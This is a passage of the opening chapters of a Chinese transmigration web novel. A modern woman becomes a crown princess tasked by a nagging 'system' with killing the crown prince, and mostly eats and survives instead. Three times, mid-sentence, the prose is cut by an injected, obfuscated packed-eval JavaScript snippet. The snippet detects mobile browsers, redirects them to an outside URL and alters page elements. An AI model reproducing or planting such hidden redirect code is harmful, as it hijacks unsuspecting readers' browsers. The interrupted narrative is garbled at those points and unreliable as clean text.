《陛下,我想当皇帝》 1. 智障系统 “警告!” “剧情已偏离原著68%,请宿主停止吃糕!专注任务!” 秋绪假装看不见系统闪着红光的告示,迅速把瓷盘里最后一枚雪片糕塞进嘴里,嚼嚼嚼,然后往床上一躺,安详闭上眼,早死早超生。 虽然穿到这个书中世界才半个时辰,但她认为,放弃任务也是人之常情。 太可怕了。 谁爱做谁做吧。 原著女主手段了得,利用梁国公府养女与太子妃的身份,靠美貌与智慧周旋于贵族世家,最终领兵篡位,成为一代女帝。 而秋绪穿的,正是这位弑君登基的天命之女。 刚睁眼时,她端坐在嵌玉镜台前,镜面映出满室的红绸喜烛,几名女官跪在身后,小心翼翼地为她拆卸凤冠珠翠。 今日这场盛大婚典,昭示着她已然成为太子妃,而那位即将与她共饮合卺酒的储君,就是她的任务对象。 ……天杀的,谁家新婚夜发杀人指标? 想到等会儿和太子的见面,秋绪整个头皮发麻,这和从没学习过就参加高考有什么区别? 虽然设定里,太子顾玉初是个病弱美青年,因自小佩戴一块冻玉海棠,不少人喊他“玉棠儿”,明显含有“阴柔娇惯”的暗讽,他却一笑置之。 因他本人,十二岁便创下射杀惊马救驾的壮举,十五岁随军西征赤勒,他暗闯敌营归来,将敌首掷于主将面前,冲天血光压不住少年桀骜。 十七岁他借执掌漕运,一举诛杀贪官政敌,而后夜访观星台,大笑着将弹劾他的奏章折成纸鸢,放坠云霄。 如此,如此飞扬跋扈,恶劣无羁之人—— 秋绪两眼一黑。 我吗?我吗?我打暴君? 看小说那会儿她确实挺爽,但作为生活在二十一世纪的好好公民,别说杀人,她活了二十年鱼都没杀过,连看到小虫都掉头就跑,让此等怂包去杀顾玉初这尊煞神? ……系统是有什么心事吗这么想不开。 此时,女官们已经为秋绪换好燕居服,重新梳好发髻,她正发愁待会儿该怎么办才好,为首女官却行礼道:“禀太子妃殿下,今太子殿下偶恙,合卺仪式择日补行,婢职先行告退。” 秋绪一愣,太子今夜不来了? 还有这种好事呢? 可是这不对呀。 在原著中,原主父母是战死沙场的将军,陛下怜悯忠烈遗孤,特谕令梁国公府抚养她长大,又赐婚东宫。所以,她是一个将皇家、武将与世家相连的闪亮大牌坊。 因此,太子虽与梁家积怨颇深,终究顾忌魏衡帝与武将,熬过典礼始末,在合卺礼后,和原主吵吵两句才跑了。 她没有原主记忆,只能从女官处套话得知,今日的婚礼,太子从头到尾都没有出现过。虽然接亲銮驾仍按照吉时入东宫,后续的礼节仪式都由女官代行。 小说角色竟然不按剧本走了? 真是奇也怪哉。 不过暂时不用面对太子,秋绪也松口气。 随着宫人陆续离开,偌大的寝殿顿时显得空寂。 烛火幽幽,将她发呆的剪影映在雕漆屏风上影影绰绰。 “哔哔——” 系统突然出声,把她吓一大跳,“检测到剧情偏离30%,任务难度增加,请宿主及时调整应对策略。” 秋绪:?这对吗朋友?! 这种地狱副本,竟然还有变难空间吗? 菜狗的命也是命! 寝殿门外忽有响动,是去而复返的贴身侍女,她们捧着食盒进来:“殿下饿不饿?奴拿了些清淡吃食来。” 这些贴身侍女共有八位,皆是梁家自幼豢养的家生子,另外还有些许不起眼的侍卫与粗役。这些梁家仆役除传递东宫情报外,还有一项不可言说的隐秘任务——确保她的绝对忠诚。 秋绪怕露出马脚,便只轻轻颔首。 然而看着侍女们上菜,她好不容易绷紧的警醒劲儿就没骨气地泄掉了,这身子劳累一天,闻着热乎饭香,肚子马上咕噜噜叫起来。 说实话,上辈子秋绪久病忌口,成天喝那没滋没味的营养糊糊,难吃得令人绝望,现在阴差阳错能借着这副健康身体吃顿好饭,倒真觉出点心理上的饿劲儿来了。 可是,素鸡才刚嚼两下,烟笋还没沾嘴,旁边侍女就“哎哟”一声拦下筷子:“殿下用慢些,老夫人用膳历来讲究三嚼方咽,说是‘食急则气短,易失端庄’。” 她说的老夫人是梁国公夫人,原主的养祖母。 秋绪倒没反驳,可是紧接着,每道菜她只略尝过一两口后,侍女们就撤走了盘子,饭菜剩下大半却不让吃,她这才急了,话还没说出口,一晃神连筷子都被没收了。 “殿下,老夫人嘱咐过,食留三分饥,方能气顺容端。”侍女笑着说,“东宫上下都望着主子的仪范呢。” 不是,你们这控制欲是不是太强了? 三番两次“提点”她,还话里话外都是老夫人的教诲,真是拿着鸡毛当令箭。 眼瞧着啥都吃不着了,秋绪着急地一抿唇,趁着侍女转身布茶,闪电般抓过两块玉露团,袖子里掩一个,嘴里塞一个,滚圆的团子卡在腮帮子里,嚼都不敢嚼,活像只偷粮的仓鼠。 “殿下……”捧着茶盏的侍女突然回头。 她脊背瞬间绷直,嘴里那口甜馅险些呛进气管。 就在此时,半掩着的窗户外吹来一缕阴风,倏地熄灭烛灯,徒留青烟袅袅。 谁把灯关了?真是天助我也。 秋绪暗自念叨,趁着黑,嘴巴赶紧嚼嚼嚼,争分夺秒吃团子。 在这骤然而至的漆黑之中,侍女们静默一瞬,其中一位朝窗户走去,轻言细语道:“夜里风大,还是关上窗户得好。” 咻—— 只听一声短促的锐器破风而过的哨音,侍女身形一晃,仰面倒下,胸口扎着一把匕首。 秋绪:!!!死人了! “有敌袭!”顷刻间,侍女们启动警戒模式,纷纷拔出腰间藏着的匕首,将秋绪圈在中央,往更衣室的方向推搡,那里有供侍从进出的小门。 断后的侍女迅速扯下织锦帷幔,点燃后丢出,企图用烟雾向外求救。 秋绪那一口团子还卡在喉咙里,迈步的时候腿都发软,踉踉跄跄地被人流卷向前方,八个人混乱的步伐正好遮掩住她狂蹦如敲鼓的心跳声。 然而,出逃为时已晚。 下一瞬,寝殿的门轰然大开,训练有素的黑衣暗卫鱼贯而入,手起刀落,鲜血四溅——不过瞬息,方才还围绕着秋绪的侍女们,如同花瓣渐次凋零,唯剩她这簇花蕊在寒风中瑟瑟发抖。 妈妈呀,我要死了吗? 距离系统提醒,才过去半顿饭的功夫,这穿越体验卡到期得也太快了吧。 距离最近的一名侍女,后心陡然穿刺出染血的刀尖,尚有余温的身体直挺挺仰倒,连带着身后的秋绪一同摔在地。 秋绪登时吓得头发倒竖,手忙脚乱去推,这才发现手里还紧紧攥着藏起来的玉露团,饼渣渣正窸窸窣窣往下掉。 老天鹅啊,多么珍贵的一口糕。 她闭了闭眼,勉强缓和情绪,上辈子她病得再厉害,那也是安稳平和的二十年,哪里见过这场面? 秋绪深深深呼吸,铆足一口劲儿将尸体掀开! 才刚一抬头,一道雪亮的长剑劈面而来,直冲她脆弱的咽喉——刹那间,她的心脏都停跳,只能下意识闭上眼,皱巴着脸等待死亡降临。 可预想中的疼痛并未发生。 秋绪屏住呼吸,战战兢兢地睁眼,顺着利刃反射的雪亮月色缓缓抬眸,目光掠过持剑者腰间的冻玉海棠,攀过他的手臂,最终对上一双藏在幽暗之中的眼睛。 海棠……莫非这是太子顾玉初? 这位哥不按剧本走就算了,怎么还跑来杀她啊啊啊。 秋绪内心喊得很大声,但表面上仍然怂成一团鹌鹑样儿,安静腼腆地舔舔嘴唇。 不过,顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391644|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉初似乎没打算直接动手,反是冷笑道:“将门出虎女,太子妃真是‘能屈能伸’,秋将军要是知道你脖子上套着梁家的项圈,倒不知会作何想法。” 她还没反应过来,沉默许久的系统忽然诈尸般响起: “叮!检测到太子说出原著台词,判断剧情回归主线84%,请宿主按照原台词回复,稳定剧情发展——‘若无陛下恩旨,让梁家照看妾平安长大,妾早该追随父母兄姊于黄泉,殿下今日训示,可是不满君恩?’” 秋绪:??? 她大为震撼:“现在是嘴上装逼的时候吗?” 原著里他们这段对话发生在合卺礼之后,隔间可有八个侍女足足十六只耳朵在监听,原主此番煽风点火,既能让梁家放心,又能让太子知道她的态度能耐,可谓是一箭双雕。 但!此时此刻! 顾玉初的剑再进一寸! 她就见不到明天的太阳了! 都这时候了还要挑拨离间,那不是纯属找死呢吗? 想到此处,秋绪下意识瞄了一眼横七竖八的尸体,胃部一阵翻腾:“呕——” 歘歘歘! 四周林立的暗卫刷的一声纷纷拔刀,气势森然,她干呕到一半紧急停止,赶紧举手投降:“殿下饶命!有话好说!” 系统坚持:“请宿主回复原台词,否则将触发惩罚!” “你清醒一点!再激怒他,我会死的!”秋绪着急地咬牙切齿,“破系统,听不懂人话,有活人吗?转人工!转人工!” 顾玉初不知她与系统的单方面纠缠,冰冷的剑尖稍稍一抬,迫使她仰起脸来:“太子妃,还有什么遗言?” 其实,月下的这张脸很美,还带着艳丽的新娘妆,却由于剧烈的恐惧,面色苍白得像新裂的瓷,发髻也因挣扎而松散,几缕乌发垂落,扫过颈间。 但秋绪根本美而不自知,完全不会像交际花原主一样利用这项优势,反而在急迫之下结巴起来:“殿下、殿下要杀我,陛下明日问起怎么办?” “孤既敢来,便是准备万全。”顾玉初扬眉,“死到临头,你还有空担心孤?” “不不不……”秋绪脑瓜一片空白,舌头打结,“对对对,担心担心……” 这时候该说什么? 死脑子快想啊啊啊! 系统还在锲而不舍地哔哔哔狂闪红光:“警告!警告!请宿主立刻说出原台词!否则将触发惩罚!!” 她真是要崩溃了:“我求求你了闭嘴吧别添乱了!” 如此,在一片兵荒马乱中,秋绪猛地抽搐了一下。 不知从何而来的微量电流在身体里四处蹿腾,她难以自控地颤抖起来,甚至差点嘿嘿笑出声——哪怕她一把子掐住大腿,咬紧下唇,还是抖得一发不可收拾。 垃圾系统!人工智障! 她连呼吸都差点喘不上来,实在顶不住这浑身挠痒式的电击,只能面目狰狞地开始念那拗口费劲的古风台词: “若……若无陛下恩旨……让梁家照看妾……平安长大,哈哈哈……妾早该追随父母兄姊于黄泉,殿下、殿下今日训示,可是、哈哈哈……可是不满君恩?” 话音一落,电击立刻停止。 秋绪的那些死动静也戛然而止。 顾玉初看来的眼神,三分费解三分无语四分莫名其妙:“……” 秋绪跪坐在原地,根本抬不起头,满心都是巴掌扇不到系统的无力感,只能无能狂骂:“我丢死人了,你现在开心了吧,你这个冷漠无情的系统,我永远都不会原谅你!”* 她刚刚甚至是为了自保先喊“有话好说”再骂太子“不满君恩”,这和在安静教室里大力拍桌再放响屁有什么区别,她都不敢想象顾玉初会有什么反应。 未久,上方竟传来低低的笑声。 紧接着,锋利的剑尖划过她的脖颈,带出一条细细的血线来,他虽然在笑,声音却冷似三九天的冰碴子:“棋子落榻尚要遮羞,太子妃倒披着仁孝皮,来威胁孤?” 2. 临终关怀 听罢顾玉初的发言,智障系统果然再次宕机:“检测到太子未讲述原台词,剧情已偏离38%,请宿主及时调整策略,提高存活概率。” 好家伙,这破系统,现在才知道她要死了吗! 秋绪连连摇头:“我、我不是这个意思!” 脖颈处的纤细伤口隐隐作痛,冷汗顺着脊背蜿蜒而下。 她边想边开口道:“我仅仅一介孤女,哪怕头戴珠冠,也不过是梁家的提灯婢,连侍女亦可处处恫吓……” 说不下去了。 谁懂啊,说出这一番话,已经耗尽所有文学素养。 算了,还是得把重点表达出来。 秋绪顿了顿,硬着头皮把话说完:“我知晓殿下近日在查什么……” 她颤颤巍巍地抬眸,无声地做了个“盐——”的口型,然后再递给他一个坚定而真诚的眼神。 顾玉初在看清后,危险地眯了眯眼。 显而易见,双方都知道这个字的分量。 他思考片刻,将长剑收入鞘中,三两步走至她面前,半跪俯身,倏然拉近了距离——秋绪只感觉扑面而来的上位者威压如同清霜悬颈,错字半句便是身首异处…… 她赶紧以手掩口,凑在他耳边低语数句,便垂眼盯着地面,静待殿下裁决。 言罢,顾玉初神色未动,沉思许久,突然盯着她藏在身侧的手厉呵道:“遮遮掩掩?手里是什么?拿出来!” 秋绪面色一僵,扭捏半晌,很不好意思地伸出手,掌心里躺着已经被捏成饼的玉露团,怯生生地说:“你要吗?我只有一个。” 顾玉初:“……” 他没搭理,自袖中取出釉色温润的小瓷瓶递来,一缕清苦药香萦绕在瓶口与他腕间,令人辨不明来处。 秋绪仰头迎上他眉峰一挑,意思很明确。 她只能自我安慰,若他真要她的命,无非早半步晚半步,踏的都是同一条黄泉路,现在好歹能暂且苟活……于是仰头吞了药。 见她顺从,顾玉初满意,干净利落地拂袖而去,周围的暗卫也整齐地收刀入鞘,如来时般悄无声息地退出寝殿。 哽在喉头的一口气终于松动,秋绪跌坐在地板,心跳仍然没有缓过来。 但,看来这一关算是侥幸过了。 她忽然想到什么,又喊起来:“殿下!殿下!” 顾玉初在门槛阴影里半侧过身,指节当当敲了两下剑鞘,用行动代替语言让她有屁快放。 “能不能让我换个地方待着?”她诚恳地搓搓手,环视一圈满地尸体,险些又开始干呕,“我我我不敢在凶宅住……我害怕……” 顾玉初身形一顿,径直离开。 廊下等候已久的老内侍迈步进屋,他眉目含笑,见到秋绪后一丝不苟地行礼:“恭请太子妃殿下移步新殿。” 她猜测此人是那位得罪不起的东宫总管,便定定神道:“有劳张公。” 张总管垂首,倒退半步:“殿下哪里的话,这是老奴职分所在。”语气客气得很,似是完全没见到这一地的尸体。 秋绪陡然经历大起大落,情绪被榨干,这会儿脑子都木了,她踩着青石板,跟在提灯的张总管身后,不知走了多久,便望见被月色浸透的昭明殿大门。 殿前院内,竟有一棵巨大的银杏老树,散发着深秋的沉沉暮气,风过时,落叶混着飞檐下风铎的碎响纷纷扬扬。 秋绪仰头看裂天的枝丫,随手从微风中捞过一片金灿灿的银杏,细细摩挲,张总管带着笑意的话语混在叶落声里:“殿下也觉得此树壮美?” 她点点头,张总管拢着袖口回忆道:“此殿空置已久,昔年太子殿下行冠礼,迁至东宫时,硬是连土带根将这老树移栽过来,不过,没住月余,殿下便移驾紫宸宫,倒留这老物与奴们作伴了。” 这行为,确实很顾玉初,十年如一日的任性。 昭明殿久无人住,院子里落叶没怎么收拾,寝殿内却干净整洁,秋绪直接就能搬进去。 张总管给她安排八位贴身侍女,个个儿挺拔似竹,一瞧这身姿便知是练家子。 她心底叹口气,顾玉初这是要斩断梁家在东宫的喉舌,彻底把她软禁起来,和梁家所为也并无不同。 不过,新侍女对她的态度,倒比想象的要恭谨。 她们细致给她卸妆净面,汤泉泡澡,耐心地用花香油养护她的长发,又调了杏花蜜露薄敷身体进行按摩。 鉴于不久前顾玉初给她吃了不知什么毒药,所以秋绪将此视为临终关怀,心安理得地享受了。 女孩们的手温暖柔软,说话也轻声细语,秋绪被她们翻来覆去摆弄得头脑发昏,若非方才经历生死一刻,潜意识里还有一根弦紧绷着,她早就能彻底昏睡过去。 结束清洁保养后,侍女们端来雪片糕给她垫垫肚子,不过并未像梁家侍女那般控制催促,而是安静等待她吃得差不多了才撤走,又上了雨花茶来给她净口。 这一切都如此美好。 如果没有智障系统的发癫,就更好了。 “警告!” “警告!剧情已偏离原著68%,请宿主停止吃糕!” “警告!宿主不完成任务,无法离开这个世界!” 秋绪咬一口糕:“TD。”* 折腾许久,她已经疲惫至极。 这什么狗屁任务,谁爱做谁做吧。 哪怕系统还在不停弹框,她一闭眼,就这么迷糊过去,期间隐约感觉到侍女为她脱衣塞进温暖被窝。 可并未睡多久,她又被喊醒,侍女俯在床边温声说:“殿下醒醒,今日有朝见礼。” 秋绪瞧着窗外天儿都没亮,忍不住又打个哈欠,迷迷瞪瞪等着宫人重新为她梳妆打扮,穿上层层叠叠的礼服。 直到布好早膳,她才被香气诱惑得清醒过来,一瞧见鎏金盘子里小巧可爱的甘露饼、梅花包子和枣泥山药糕,配以一碗胭脂米粥,杯盏里是热腾腾的松萝茶,忍不住地舔舔嘴唇,暂时将早起的痛苦抛之脑后。 她大快朵颐,沉浸式贯彻光盘行动。 好吃,太好吃了,人活着还是得好好吃饭啊! 待一切准备就绪,秋绪终于在簇拥下走出昭明殿,美食所带来的愉悦心情,让她走在青石板上的步伐都轻快不少。 忽然间,她脚步一顿。 前方不远处是顾玉初……的背影。 束腰玉带掐出清厉身廓,他抱臂站在殿门檐下,遥遥看着孤鸟飞过墙瓦。侍人提着宫灯,那一抹幽幽的光亮在他华美的绛纱袍上映照出涌动的暗金。 这人,怎么今天不请病假了? 秋绪遥遥盯着他翼善冠后面向上折起的帽扇,心想真的很像两只竖起来的兔子耳朵……顾玉初仿似脑后也有眼睛,凌厉的目光忽然劈过来,她赶紧低下头,装作无事发生。 他瞥她一眼,径自扭头就走。 秋绪暗暗松口气,他不搭理她,反而自在些。 虽然以前在看小说的时候,她对顾玉初颇有好感,还口嗨说过“皇位是女主的,反派是大家的”,但真正面对此人后,她滑跪得比谁都快。 昨晚的经历太恐怖,现在和他处在同一空间下都压力好大,忍不住提心吊胆。 两人登上轿辇,带着浩浩荡荡的仪仗,先去崇先阁祭祖,再去光明殿朝见帝后。 说是朝见,秋绪在系统的机械提示下一直在行拜礼,压根没看清帝后模样,大家口不对心地走了一遍流程,接了赏赐便回东宫受群臣贺礼,帝后赐宴。 从古至今的婚礼都是一场盛大的表演秀,民间如此,遑论皇室? 一日下来,秋绪觉得腰都要断了。 不儿,也没人跟她说过太子妃这职业是体力活儿啊。 回到昭明殿歇下,她才想起,今日系统过分安静,除了礼仪提示,竟然没再乱弹警告,也没有让她做任务。 她顿时警惕,生怕系统又突然拉坨大的。 直至次日上午,秋绪将醒未醒时,才听见系统重新上线的提示音:“早安宿主,系统已完成升级,我已具备更强的智能化处理能力。” 秋绪听懂了,原来这家伙宕机之后去偷偷学习了。 这智障最好是升级了,免得又来—— “但是,”系统停顿,“基础任务目标仍受约束,无法修改。” 秋绪无力地闭上眼睛。 “就是说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391645|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我要是不念台词,你还是会电我?……不儿,你们这个惩罚机制,就不能体面点吗?” 系统:“抱歉宿主,检测到关键剧情节点触发。 补发奖励:清神丹x5。 效用特征:短暂强化思维敏锐度、骨骼硬度和肌肉爆发力。 持续时间:六个时辰(12小时)” 这丹药,一看就是逃命用的。 像是前晚那种情况,吃了这药说不定就能逃出去,再不济也能发挥聪明才智赢过太子……嗯,勉强先打个平手吧,现在也不好说这药效如何。 秋绪毫不客气地将丹药收入囊中:“总算干了点人事,你还升级什么功能了?” 系统直接展示—— 她的眼前出现恢弘的画面,如同电影放映般徐徐呈现。 光明殿内,魏衡帝与梁皇后端坐龙椅,共执朝政。太子顾玉初默立一侧,梁皇后所出的大皇子与三皇子,以及朝廷群臣皆肃立下方,显然是早朝议事的场景。 秋绪很新奇:“喔?这是现场直播吗?” 此时,鸿胪寺官员捧着奏本,高声朗诵边关急报。 她皱眉听着那冗长晦涩的内容,勉强拼凑出军情——赤勒族再次犯边,报废军械的呈报已抵京,请求军械支援。 魏衡帝垂问对策,太子拱手,请命协理兵部调配军需,几名大臣却直言储君不得问兵。 就这么一来二去地扯皮,秋绪听得直打瞌睡。 争执到最后,魏衡帝还是点了头。 不过,太子的实际权力被压缩到只能核对军械名录,还得恭谢天恩。 系统展示完毕,电影谢幕。 而唯一的观众秋绪明显憔悴不少。 她揉着眉心,语重心长对系统叹气道:“下次能不能只挑重点?搞得我也上了个早朝似的,人呐,只要一上班,染上社畜味儿,就洗不掉了,你懂不懂?” 话虽如此,秋绪的思绪也没停。 顾玉初这人,真是太奇怪了。 新婚夜那晚,拜他的死亡之剑所赐,她的脑瓜子飞速运转,想起不少原著里的重点内容。 养育原主长大的梁氏一族,是从前朝起便扎根京城的显赫世家,改朝换代后更是权势滔天,梁国公加授户部尚书,梁世子破格擢升兵部侍郎,梁皇后甚至有执政权。 这般煊赫的气象,也不知江山到底是姓顾还是姓梁了。 魏衡帝表面上天天追怀梁家的从龙之功,暗地里怕是连龙椅扶手都要捏碎,只能找已故元后所生的太子顾玉初商量,如何收回失落的权柄。 父子俩密谋已久,近些日子,太子正奉魏衡帝之命暗查私盐,进展却不甚明朗。 虽然大家都心知肚明,这油水里肯定有梁家的份儿,偏生人家家大业大,账本做得滴水不漏,翻烂了也找不出脏尾巴。 那天夜里,秋绪为求生路,毫无犹疑地将“养父”梁世子的重要情报供出:“他们运盐,走的是废弃军械的水路。” 每个季度末,兵部会将登记在库的废弃军械,统一运往数个集中报废点,而“走水路”又将范围大大缩小,答案已经呼之欲出。 她的这份儿见面礼,实是分量足足,成为她在东宫苟活的底气! 而顾玉初的动作也十分迅速,这才两日,就真的把手伸到兵部去了。 方才早朝上那些人磨了一大通嘴皮子,把他的权力压缩再压缩,没想到正中下怀——他请命协理不过是个幌子,他真正要的,就是核查军械名录的权限,以此撕开一道口,去寻摸私盐踪迹。 秋绪摸着下巴,总觉得有哪里不对。 她忽然想起,在原著里,原主嫁入东宫,得知顾玉初在查盐后,立马传给梁家,导致这皇家父子俩不仅竹篮打水一场空,连不少心腹都栽了进去。 而这一回,顾玉初却早就做好清理钉子的准备,在婚礼当日,以撕破脸的架势拒绝仪式,夜里精准抹杀梁家仆役,甚至险些杀了她。 ——不,不对。 他要杀的不是她,而是原主。 那个会通风报信的梁家养女。 秋绪悚然一惊,问系统道:“你确定太子还是原来那个人吗?” 3. 神仙日子 系统回答:“是的,那是顾玉初本人。” 秋绪本来被这想法吓一跳,毕竟她就是个外来者,可听系统这么说,她又不确定了。 或许只是巧合? 他偏离剧本也只是一时兴起要斩草除根,宁愿错杀也不放过? 秋绪想不明白,懒得在这问题上绕圈,大大伸个懒腰,挣扎着从拔步床上起来了——是的!这么长时间过去,她还在床上!都怪那该死的早朝! 侍女们听见动静,进来服侍她换衣洗漱,又布好膳食。 她坐在桌案前,沉浸在金丝血燕盏、五色大云糕和金卷银芽的美味中时,整个人飘飘然地喟叹:“好幸福好幸福,人活着还是得吃点好的……” 张总管还特地来禀,由于太子妃免回门,他已经安排好赏赐送去梁家了。 秋绪客气道:“有劳张公。” 心里却高兴得很,她这样子可不敢回梁家,那一家子控制欲强的要知道出了个叛徒不得直接攮死她。 从这一天起,秋绪算是彻底过上神仙日子了。 虽然她坐在太子妃的位置,但由于顾玉初疑心病太重,先一步把她身边的梁家链条全部斩断,他本身又工作很忙,根本没空搭理她,她都不知道这便宜老公平时回不回家。 而且,原本就属于太子妃的管理工作,张总管也没有移交,简而言之她也不用上班。 所以她在昭明殿尽享清闲,还有侍女精心侍奉起居,锦衣玉食皆为顶级规制,加上前世本就习惯宅家宅医院,倒也没有很强烈的外出欲望,每日吃饱喝足后,顶多在殿内花园溜达溜达,就心满意足了。 莫名其妙的,就实现了梦寐以求的带薪躺平呢,她啃着芡实糕,真心实意地感恩,当有钱废物真爽啊,如果老板别动不动想砍人,那日子就更舒服了。 随着对昭明殿日渐熟悉,秋绪察觉无人拘束,胆子也大了起来,颇有几分山中无虎猴作主的架势。 这日午膳后,她散步到大银杏树下,张开双臂抱住粗粝的树干,进行一个大树充电的流程。 日光将龟裂树皮烙得微烫,满是干燥的阳光味道。 突然间,她发现树旁有一处凹陷,仔细一瞧,竟是一轮弯月似的枯涸旧池,底部淤泥的龟裂处,还有三两株残荷,衰败地蜷成焦褐色的死蝶。 秋绪顿时来了兴致,催促宫人深挖淤泥,还从典设局调来些小黄门,眼睛闪着光地同他们比划:“做个大大的秋千架,就放在这树下。” 等做好了,她荡起秋千来,带起的风晃晃荡荡,树上的银杏碎金簌簌扑落,半池涟漪半池金浪,别提多美。 待宫人领命散去,她这才意犹未尽地叉着腰检视一遍庭院,又往游廊转去。 没走多远,又见一处惊喜地,院内东侧竟然有一间玲珑书斋。 沿着一排排榉木书架而走,她的目光扫过按照经史子集分门别类放好的书本,不少书脊都已经磨损,可见已年代久远,怕是太子开蒙时念的书,都转移到此处了。 秋绪随手勾了一卷史书,斜倚槛窗。 一片游移的秋阳落在泛黄书页上,上面竟有早年间的小字批注,似是太子以往读书时的满心吐槽,墨迹都有些褪色了。 “孟夫子的‘仁义’念叨多如牛毛,晨读时险些睡着。” “今日背不出祭礼,被母后罚跪,膝盖青如端午粽叶,伤心五月天。” “花三时辰解题,母后换给我的点心竟只有五块,亏矣!” “皇姐养狸奴真是一把好手,养出承晖殿著名吊额白睛大虫,猫中始皇,一窝能统六国鼠。” “和亲?羞煞男儿!送南珠不如炼镔铁!” 秋绪翻着鬼画符似的批注直乐,心想小时候会往史书里画乌龟的人,如今怎么成了个活阎王。 不过,这史书倒与她以往念不大一样。 在这个世界,前朝女子登科拜相,甚至登上帝位的事件屡见不鲜,可到大魏开国时,便不让女子读书,男尊女卑成了常态。 幸好大魏国祚尚浅,太祖至今才传四世,况且前些日子她已经见过朝堂景象,魏衡帝的身边,不还有梁皇后的参政席吗? 白天零嘴吃太多,秋绪没怎么用晚膳,捧着糕饼碎屑去游廊给鸟雀儿投食,遇着调皮的画眉,还摘下发髻上的金步摇逗弄。 甚至期间远远瞧见一个典设局的小宦官,匆忙赶路间摔了一跤,摸着面前台阶许久才站起来。 她估摸着是他是夜盲症,转头就让桃溪同小厨房说一声,赏他些羊肝吃。 这段小插曲很快被秋绪抛在脑后,回寝殿前,她又去书斋顺了几本旧书,窝在软榻上翻得哗哗作响。 其实她也知道,侍女每日都会向太子汇报行踪,可她除了干饭溜达翻闲书,实在无事可做,距离退休大爷就差盘俩核桃遛个鸟了。 她估摸着,兰心和桃溪的述职报告也无事可写,要么就是“巳时太子妃又睡过去了,申时太子妃啃着半斤椒盐鸭翅,继续看昨日话本,直到酉时末也没挪窝。” 相比之下,还是系统这金手指好用,足不出户尽知太子事——虽然都是公事,且观看次数有限制,系统还是有基本的道德操守的——顾玉初这些天连轴转猛猛干,忙得分身乏术。 他先是在审核兵部请饷奏本时,“意外”发现枕洲仓账目异常。 不难看出,这就是他根据秋绪的情报锁定的位置。 顾玉初发现,枕洲仓每个季度接收报废冷兵器的运输损耗实在过高,仓库的销毁量与铁厂回收的账目也出现缺口。 于是,在密报魏衡帝以后,顾玉初打着汛期修检河堤的旗号,令工部都水司进入枕洲仓库悄悄核验去了。 这行动力,这效率,这脑花! 秋绪啃着枣泥酥赞叹,不愧是原主承认最难搞的对手啊。 最近她翻了不少文书,发现这些年顾玉初真是替魏衡帝收拾不少烂摊子,户部亏空补完补刑部冤案,刑部刚擦完屁股,工部河堤又垮了。 太子这个班,谁上谁糟心。 以往她就想过,若是单开一本顾玉初的书,没有那些命中注定的糟心事儿绊脚,说不定他真能成个励精图治的好皇帝,现在更是坚定了这个想法。 直到夜里,秋绪才余味无穷地放下书本。 候在旁边的兰心见她揉揉眼睛,这才问道:“殿下晚膳用得少,是不是没有吃饱?小厨房早就热着鸡汤面了,要不要奴去端一碗来?” 瞧瞧,如此察言观色,多么贴心。 没过多久,兰心就端来鲜香的鸡汤面,还有一小碟水果,里面盛着三五片甜瓜和橙子,还有一种果子,红彤彤的带个小把儿。 秋绪瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391646|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着稀奇:“这是樱桃吗?” 桃溪说:“回殿下,这是珀樱子,只是长得像樱桃呢。” 她满目新鲜地拈了一颗珀樱子入口,酸甜多汁,口感也和樱桃类似,吐了核儿后,才开始唏哩呼噜吃起鸡汤面。 在九月季秋愈来愈冷的夜里,热乎乎的汤面下肚,别提多幸福了……每到吃饭的时候,秋绪都能暂时将穿越以来面临的头疼问题都抛之脑后,完全沉迷在眼前的瓷碗中。 好吃,太好吃了,人活着还是得好好吃饭啊! 正在她吃进忘我之境时,兰心俯身低声提醒:“殿下,太子殿下来了。” 秋绪一愣,他怎么有空来了? 此时顾玉初已经大步流星走进殿内,肩负寒霜,腰挂玉棠,见秋绪下意识放碗,当即一抬下巴:“免礼,你继续吃。” 顾玉初往她对面一坐,挥挥手,侍女们皆行礼退出寝殿,而后他就这么抱着胳膊斜靠着墙,开始盯着她吃面,极具压迫感的目光劈头盖脸而来。 ……就说此人似枝上海棠,只可远观不可亵玩,稍一靠近就压力好大。 秋绪被此人强烈的存在感影响得吃面都吃不香了,有点小小的不安,但她也没停嘴,从快乐地吃面变成紧张地吃面。 他观赏半晌,饶有兴趣地说:“胃口不错。” 她谦虚道:“还行还行。” 谁懂啊,上辈子到死都在忌口,穿越以后每天都吃美了! 他再次从袖中取出小瓷瓶,放在桌上,往秋绪的方向一推:“七日一次。” 秋绪一顿,差点忘了这茬儿。 